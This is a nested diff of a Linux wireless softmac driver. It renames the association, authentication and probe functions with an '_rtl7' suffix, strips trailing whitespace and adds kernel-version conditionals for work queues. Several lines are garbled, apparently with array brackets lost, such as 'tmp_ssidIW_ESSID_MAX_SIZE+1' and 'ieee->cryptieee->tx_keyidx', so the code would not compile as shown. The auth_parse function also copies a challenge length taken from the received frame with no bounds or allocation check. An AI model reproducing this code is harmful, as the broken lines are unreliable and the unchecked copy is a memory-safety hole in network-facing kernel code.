+ 	struct ieee80211_device *ieee, int challengelen)
+ {
+-	struct sk_buff *skb;	
++	struct sk_buff *skb;
+ 	struct ieee80211_authentication *auth;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); 
+-	
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen);
++
+ 	if (!skb) return NULL;
+-	
++
+ 	auth = (struct ieee80211_authentication *)
+ 		skb_put(skb, sizeof(struct ieee80211_authentication));
+-	
++
+ 	auth->header.frame_ctl = IEEE80211_STYPE_AUTH;
+ 	if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP;
+-	
++
+ 	auth->header.duration_id = 0x013a; //FIXME
+-	
++
+ 	memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN);
+ 	memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN);
+-	
++
+ 	auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY;
+-	
++
+ 	auth->transaction = cpu_to_le16(ieee->associate_seq);
+ 	ieee->associate_seq++;
+-	
++
+ 	auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS);
+-	
++
+ 	return skb;
+-	
++
+ }
+ 
+-static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest)
++static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+ 	u8 *tag;
+ 	int beacon_size;
+@@ -566,23 +572,23 @@
+ 	int encrypt;
+ 	int atim_len,erp_len;
+ 	struct ieee80211_crypt_data* crypt;
+-	
++
+ 	char *ssid = ieee->current_network.ssid;
+ 	int ssid_len = ieee->current_network.ssid_len;
+ 	int rate_len = ieee->current_network.rates_len+2;
+ 	int rate_ex_len = ieee->current_network.rates_ex_len;
+ 	if(rate_ex_len > 0) rate_ex_len+=2;
+-	
++
+ 	if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS)
+ 		atim_len = 4;
+ 	else
+ 		atim_len = 0;
+-	
+-	if(ieee80211_is_54g(ieee->current_network)) 
++
++	if(ieee80211_is_54g_rtl7(ieee->current_network))
+ 		erp_len = 3;
+ 	else
+ 		erp_len = 0;
+-	
++
+ 	beacon_size = sizeof(struct ieee80211_probe_response)+
+ 		ssid_len
+ 		+3 //channel
+@@ -590,72 +596,72 @@
+ 		+rate_ex_len
+ 		+atim_len
+ 		+erp_len;
+-	
++
+ 	skb = dev_alloc_skb(beacon_size);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size);
+-	
++
+ 	memcpy (beacon_buf->header.addr1, dest,ETH_ALEN);
+ 	memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN);
+ 
+ 	beacon_buf->header.duration_id = 0; //FIXME
+-	beacon_buf->beacon_interval = 
++	beacon_buf->beacon_interval =
+ 		cpu_to_le16(ieee->current_network.beacon_interval);
+-	beacon_buf->capability = 
++	beacon_buf->capability =
+ 		cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS);
+-	
++
+ 	if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT))
+-		cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT));		
+-	
++		cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT));
++
+ 	crypt = ieee->cryptieee->tx_keyidx;
+ 
+-	encrypt = ieee->host_encrypt && crypt && crypt->ops && 
++	encrypt = ieee->host_encrypt && crypt && crypt->ops &&
+ 		(0 == strcmp(crypt->ops->name, "WEP"));
+ 
+-	if (encrypt)	
++	if (encrypt)
+ 		beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
+-		
++
++
+ 	beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP);
+-	
+-	beacon_buf->info_element.id = MFIE_TYPE_SSID;	
++
++	beacon_buf->info_element.id = MFIE_TYPE_SSID;
+ 	beacon_buf->info_element.len = ssid_len;
+-	
++
+ 	tag = (u8*) beacon_buf->info_element.data;
+-	
++
+ 	memcpy(tag, ssid, ssid_len);
+-	
++
+ 	tag += ssid_len;
+-	
++
+ 	*(tag++) = MFIE_TYPE_RATES;
+-	*(tag++) = rate_len-2; 
++	*(tag++) = rate_len-2;
+ 	memcpy(tag,ieee->current_network.rates,rate_len-2);
+ 	tag+=rate_len-2;
+-	
++
+ 	*(tag++) = MFIE_TYPE_DS_SET;
+ 	*(tag++) = 1;
+ 	*(tag++) = ieee->current_network.channel;
+-	
++
+ 	if(atim_len){
+ 		*(tag++) = MFIE_TYPE_IBSS_SET;
+ 		*(tag++) = 2;
+ 		*((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window);
+ 		tag+=2;
+ 	}
+-	
++
+ 	if(erp_len){
+ 		*(tag++) = MFIE_TYPE_ERP;
+ 		*(tag++) = 1;
+-		*(tag++) = 0; 
++		*(tag++) = 0;
+ 	}
+-	
++
+ 	if(rate_ex_len){
+ 		*(tag++) = MFIE_TYPE_RATES_EX;
+-		*(tag++) = rate_ex_len-2; 
++		*(tag++) = rate_ex_len-2;
+ 		memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2);
+ 		tag+=rate_ex_len-2;
+ 	}
+@@ -664,208 +670,208 @@
+ }
+ 
+ 
+-struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest)
++struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+ 	struct sk_buff *skb;
+ 	u8* tag;
+-	
++
+ 	struct ieee80211_crypt_data* crypt;
+ 	struct ieee80211_assoc_response_frame *assoc;
+ 	short encrypt;
+-	
+-	unsigned int rate_len = ieee80211_MFIE_rate_len(ieee);
++
++	unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
+ 	int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len;
+-	
+-	skb = dev_alloc_skb(len); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(len);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	assoc = (struct ieee80211_assoc_response_frame *)
+ 		skb_put(skb,sizeof(struct ieee80211_assoc_response_frame));
+-	
++
+ 	assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP);
+ 	memcpy(assoc->header.addr1, dest,ETH_ALEN);
+ 	memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+-	assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? 
++	assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ?
+ 		WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS);
+-	
+-		
++
++
+ 	if(ieee->short_slot)
+ 		assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT);
+-		
++
+ 	if (ieee->host_encrypt)
+ 		crypt = ieee->cryptieee->tx_keyidx;
+ 	else crypt = NULL;
+-	
++
+ 	encrypt = ( crypt && crypt->ops);
+-	   
++
+ 	if (encrypt)
+ 		assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
++
+ 	assoc->status = 0;
+ 	assoc->aid = cpu_to_le16(ieee->assoc_id);
+ 	if (ieee->assoc_id == 0x2007) ieee->assoc_id=0;
+ 	else ieee->assoc_id++;
+-	
++
+ 	tag = (u8*) skb_put(skb, rate_len);
+-	
+-	ieee80211_MFIE_Brate(ieee, &tag);
+-	ieee80211_MFIE_Grate(ieee, &tag);
+-	
++
++	ieee80211_MFIE_Brate_rtl7(ieee, &tag);
++	ieee80211_MFIE_Grate_rtl7(ieee, &tag);
++
+ 	return skb;
+ }
+ 
+-struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest)
++struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_authentication *auth;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	skb->len = sizeof(struct ieee80211_authentication);
+-	
++
+ 	auth = (struct ieee80211_authentication *)skb->data;
+-	
++
+ 	auth->status = cpu_to_le16(status);
+ 	auth->transaction = cpu_to_le16(2);
+ 	auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN);
+-	
++
+ 	memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr1, dest, ETH_ALEN);
+-	auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); 
++	auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH);
+ 	return skb;
+-	
+-	
++
++
+ }
+ 
+-struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr)
++struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_hdr_3addr* hdr;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr));
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr));
+-	
++
+ 	memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN);
+ 	memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN);
+-	
+-	hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | 
+-		IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | 
+-		(pwr ? IEEE80211_FCTL_PM:0)); 
+-	
++
++	hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA |
++		IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS |
++		(pwr ? IEEE80211_FCTL_PM:0));
++
+ 	return skb;
+-	
+-	
++
++
+ }
+ 
+ 
+-void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest)
++void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest)
+ {
+-	struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest);
+-	
++	struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest);
++
+ 	if (buf)
+-		softmac_mgmt_xmit(buf, ieee);
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest)
++void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest)
+ {
+-	struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest);
+-	
++	struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest);
++
+ 	if (buf)
+-		softmac_mgmt_xmit(buf, ieee);
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest)
++void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+-	
+-	struct sk_buff *buf = ieee80211_probe_resp(ieee, dest);
+-	
+-	if (buf) 
+-		softmac_mgmt_xmit(buf, ieee);
++
++	struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest);
++
++	if (buf)
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee)
++inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
++
+ 	struct ieee80211_assoc_request_frame *hdr;
+ 	u8 *tag;
+-	
++
+ 	unsigned int wpa_len = beacon->wpa_ie_len;
+-	
+-	unsigned int rate_len = ieee80211_MFIE_rate_len(ieee);
+-	
+-	
+-	
++
++	unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
++
++
++
+ 	int len=sizeof(struct ieee80211_assoc_request_frame)+
+ 				+ beacon->ssid_len//essid tagged val
+ 				+ rate_len//rates tagged val
+ 				+ wpa_len;
+-				
++
+ 	skb = dev_alloc_skb(len);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	hdr = (struct ieee80211_assoc_request_frame *)
+ 		skb_put(skb, sizeof(struct ieee80211_assoc_request_frame));
+-	
+-	
++
++
+ 	hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ;
+ 	hdr->header.duration_id= 37; //FIXME
+ 	memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN);
+ 	memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN);
+-	
++
+ 	hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS);
+-	if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) 
++	if (beacon->capability & WLAN_CAPABILITY_PRIVACY )
+ 		hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
++
+ 	if(ieee->short_slot)
+ 		hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT);
+-	
++
+ 	hdr->listen_interval = 0xa; //FIXME
+-	
++
+ 	hdr->info_element.id = MFIE_TYPE_SSID;
+ 
+ 	hdr->info_element.len = beacon->ssid_len;
+ 	tag = skb_put(skb, beacon->ssid_len);
+ 	memcpy(tag, beacon->ssid, beacon->ssid_len);
+-	
+-	tag = skb_put(skb, rate_len); 
+-	
+-	ieee80211_MFIE_Brate(ieee, &tag);
+-	ieee80211_MFIE_Grate(ieee, &tag);
+-	
++
++	tag = skb_put(skb, rate_len);
++
++	ieee80211_MFIE_Brate_rtl7(ieee, &tag);
++	ieee80211_MFIE_Grate_rtl7(ieee, &tag);
++
+ 	tag = skb_put(skb,wpa_len);
+-	
++
+ 	memcpy(tag,beacon->wpa_ie,wpa_len);
+-	
++
+ 	return skb;
+ }
+ 
+-void ieee80211_associate_abort(struct ieee80211_device *ieee)
++void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	unsigned long flags;
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	ieee->associate_seq++;
+-	
++
+ 	/* don't scan, and avoid to have the RX path possibily
+ 	 * try again to associate. Even do not react to AUTH or
+ 	 * ASSOC response. Just wait for the retry wq to be scheduled.
+@@ -873,103 +879,109 @@
+ 	 * with, so we retry or just get back to NO_LINK and scanning
+ 	 */
+ 	if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){
+-		IEEE80211_DEBUG_MGMT("Authentication failed\n"); 
++		IEEE80211_DEBUG_MGMT("Authentication failed\n");
+ 		ieee->softmac_stats.no_auth_rs++;
+ 	}else{
+-		IEEE80211_DEBUG_MGMT("Association failed\n"); 
++		IEEE80211_DEBUG_MGMT("Association failed\n");
+ 		ieee->softmac_stats.no_ass_rs++;
+ 	}
+-		
++
+ 	ieee->state = IEEE80211_ASSOCIATING_RETRY;
+-		
++
+ 	queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME);
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-void ieee80211_associate_abort_cb(unsigned long dev)
++void ieee80211_associate_abort_cb_rtl7(unsigned long dev)
+ {
+-	ieee80211_associate_abort((struct ieee80211_device *) dev);
++	ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev);
+ }
+ 
+ 
+-void ieee80211_associate_step1(struct ieee80211_device *ieee)
++void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+ 	struct sk_buff *skb;
+-	
++
+ 	IEEE80211_DEBUG_MGMT("Stopping scan\n");
+-	
++
+ 	ieee->softmac_stats.tx_auth_rq++;
+-	skb=ieee80211_authentication_req(beacon, ieee, 0);
+-	
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
+-	else{ 
++	skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0);
++
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
++	else{
+ 		ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ;
+ 		IEEE80211_DEBUG_MGMT("Sending authentication request\n");
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ }
+ 
+-void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen)
++void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen)
+ {
+-	u8 *c;	
++	u8 *c;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+ //	int hlen = sizeof(struct ieee80211_authentication);
+-	
++
+ 	ieee->associate_seq++;
+ 	ieee->softmac_stats.tx_auth_rq++;
+-	
+-	skb = ieee80211_authentication_req(beacon, ieee, chlen+2);
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
++
++	skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2);
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
+ 	else{
+ 		c = skb_put(skb, chlen+2);
+ 		*(c++) = MFIE_TYPE_CHALLENGE;
+ 		*(c++) = chlen;
+ 		memcpy(c, challenge, chlen);
+-		
++
+ 		IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n");
+-		
+-		ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr  ));
+-			
+-		softmac_mgmt_xmit(skb, ieee);
++
++		ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr  ));
++
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ 	kfree(challenge);
+ }
+ 
+-void ieee80211_associate_step2(struct ieee80211_device *ieee)
++void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff* skb;
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+-	
++
+ 	del_timer_sync(&ieee->associate_timer);
+-	
++
+ 	IEEE80211_DEBUG_MGMT("Sending association request\n");
+-	
++
+ 	ieee->softmac_stats.tx_ass_rq++;
+-	skb=ieee80211_association_req(beacon, ieee);
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
++	skb=ieee80211_association_req_rtl7(beacon, ieee);
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
+ 	else{
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ }
+ 
+-void ieee80211_associate_complete_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_complete_wq_rtl7(struct work_struct *work)
+ {
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq);
++#else
++void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	printk(KERN_INFO "Associated successfully\n");
+-	if(ieee80211_is_54g(ieee->current_network) && 
++	if(ieee80211_is_54g_rtl7(ieee->current_network) &&
+ 		(ieee->modulation & IEEE80211_OFDM_MODULATION)){
+-		
++
+ 		ieee->rate = 540;
+ 		printk(KERN_INFO"Using G rates\n");
+ 	}else{
+@@ -977,62 +989,67 @@
+ 		printk(KERN_INFO"Using B rates\n");
+ 	}
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee); 
++	notify_wx_assoc_event_rtl7(ieee);
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+ 	netif_carrier_on(ieee->dev);
+ }
+ 
+-void ieee80211_associate_complete(struct ieee80211_device *ieee)
++void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	del_timer_sync(&ieee->associate_timer);
+-	
++
+ 	ieee->seq_ctrl = 0;
+ 	ieee->state = IEEE80211_LINKED;
+ 	IEEE80211_DEBUG_MGMT("Successfully associated\n");
+-	
++
+ 	queue_work(ieee->wq, &ieee->associate_complete_wq);
+ }
+ 
+-void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq);
++#else
++void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee)
+ {
++#endif
+ 	ieee->sync_scan_hurryup = 1;
+ 	down(&ieee->wx_sem);
+-	
+ 	if (ieee->data_hard_stop)
+ 		ieee->data_hard_stop(ieee->dev);
+-	
+-	ieee80211_stop_scan(ieee);
++
++	ieee80211_stop_scan_rtl7(ieee);
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-	
++
+ 	ieee->associate_seq = 1;
+-	ieee80211_associate_step1(ieee);
+-	
++	ieee80211_associate_step1_rtl7(ieee);
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net)
++inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net)
+ {
+-	
++
+ 	u8 tmp_ssidIW_ESSID_MAX_SIZE+1;
+ 	int tmp_ssid_len = 0;
+-	
++
+ 	short apset,ssidset,ssidbroad,apmatch,ssidmatch;
+-	
+-	/* we are interested in new new only if we are not associated 
++
++	/* we are interested in new new only if we are not associated
+ 	 * and we are not associating / authenticating
+ 	 */
+ 	if (ieee->state != IEEE80211_NOLINK)
+-		return; 
+-		
++		return;
++
+ 	if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS))
+ 		return;
+-	
++
+ 	if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS))
+ 		return;
+ 
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){
+ 		/* if the user specified the AP MAC, we need also the essid
+ 		 * This could be obtained by beacons or, if the network does not
+@@ -1043,23 +1060,23 @@
+ 		ssidbroad =  !(net->ssid_len == 0 || net->ssid0== '\0');
+ 		apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0);
+ 		ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len));
+-		
+-		
+-		
++
++
++
+ 		if (	/* if the user set the AP check if match.
+ 		         * if the network does not broadcast essid we check the user supplyed ANY essid
+ 			 * if the network does broadcast and the user does not set essid it is OK
+ 			 * if the network does broadcast and the user did set essid chech if essid match
+ 			 */
+-			( apset && apmatch && 
+-				((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) ||  
++			( apset && apmatch &&
++				((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) ||
+ 			/* if the ap is not set, check that the user set the bssid
+ 			 * and the network does bradcast and that those two bssid matches
+-			 */ 
+-			(!apset && ssidset && ssidbroad && ssidmatch) 
++			 */
++			(!apset && ssidset && ssidbroad && ssidmatch)
+ 			){
+-			
+-			
++
++
+ 				/* if the essid is hidden replace it with the
+ 				* essid provided by the user.
+ 				*/
+@@ -1068,18 +1085,18 @@
+ 					tmp_ssid_len = ieee->current_network.ssid_len;
+ 				}
+ 				memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network));
+-				
++
+ 				if (!ssidbroad){
+ 					strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE);
+ 					ieee->current_network.ssid_len = tmp_ssid_len;
+ 				}
+ 				printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid);
+-				
++
+ 				if (ieee->iw_mode == IW_MODE_INFRA){
+ 					ieee->state = IEEE80211_ASSOCIATING;
+ 					queue_work(ieee->wq, &ieee->associate_procedure_wq);
+ 				}else{
+-					if(ieee80211_is_54g(ieee->current_network) && 
++					if(ieee80211_is_54g_rtl7(ieee->current_network) &&
+ 						(ieee->modulation & IEEE80211_OFDM_MODULATION)){
+ 						ieee->rate = 540;
+ 						printk(KERN_INFO"Using G rates\n");
+@@ -1089,42 +1106,40 @@
+ 					}
+ 					ieee->state = IEEE80211_LINKED;
+ 				}
+-			
++
+ 		}
+ 	}
+-
+ }
+ 
+-void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee)
++void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	unsigned long flags;
+ 	struct ieee80211_network *target;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-			
+ 	list_for_each_entry(target, &ieee->network_list, list) {
+-		
++
+ 		/* if the state become different that NOLINK means
+ 		 * we had found what we are searching for
+ 		 */
+-		if (ieee->state != IEEE80211_NOLINK) 
++		if (ieee->state != IEEE80211_NOLINK)
+ 			break;
+-			
++
+ 		//if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies))
+-			ieee80211_softmac_new_net(ieee, target);
++			ieee80211_softmac_new_net_rtl7(ieee, target);
+ 	}
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ }
+ 
+ 
+-static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen)
++static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen)
+ {
+ 	struct ieee80211_authentication *a;
+ 	u8 *t;
+-	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ 
++	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len);
+ 		return 0xcafe;
+ 	}
+@@ -1132,58 +1147,58 @@
+ 	a = (struct ieee80211_authentication*) skb->data;
+ 	if(skb->len > (sizeof(struct ieee80211_authentication) +3)){
+ 		t = skb->data + sizeof(struct ieee80211_authentication);
+-		
++
+ 		if(*(t++) == MFIE_TYPE_CHALLENGE){
+ 			*chlen = *(t++);
+ 			*challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC);
+ 			memcpy(*challenge, t, *chlen);
+ 		}
+ 	}
+-	
++
+ 	return cpu_to_le16(a->status);
+-	
++
+ }
+ 
+ 
+-int auth_rq_parse(struct sk_buff *skb,u8* dest)
++int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest)
+ {
+ 	struct ieee80211_authentication *a;
+-	
+-	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ 
+-		IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len);	
++
++	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){
++		IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len);
+ 		return -1;
+ 	}
+ 	a = (struct ieee80211_authentication*) skb->data;
+-	
++
+ 	memcpy(dest,a->header.addr2, ETH_ALEN);
+-	
+-	if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) 
++
++	if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN)
+ 		return  WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG;
+-	
++
+ 	return WLAN_STATUS_SUCCESS;
+ }
+ 
+-static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src)
++static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src)
+ {
+ 	u8 *tag;
+ 	u8 *skbend;
+ 	u8 *ssid=NULL;
+ 	u8 ssidlen = 0;
+-	
++
+ 	struct ieee80211_hdr_3addr   *header =
+ 		(struct ieee80211_hdr_3addr   *) skb->data;
+-	
+-	if (skb->len < sizeof (struct ieee80211_hdr_3addr  )) 
++
++	if (skb->len < sizeof (struct ieee80211_hdr_3addr  ))
+ 		return -1; /* corrupted */
+-	
++
+ 	memcpy(src,header->addr2, ETH_ALEN);
+-	
++
+ 	skbend = (u8*)skb->data + skb->len;
+-	
++
+ 	tag = skb->data + sizeof (struct ieee80211_hdr_3addr  );
+-	
++
+ 	while (tag+1 < skbend){
+-		if (*tag == 0){ 
++		if (*tag == 0){
+ 			ssid = tag+2;
+ 			ssidlen = *(tag+1);
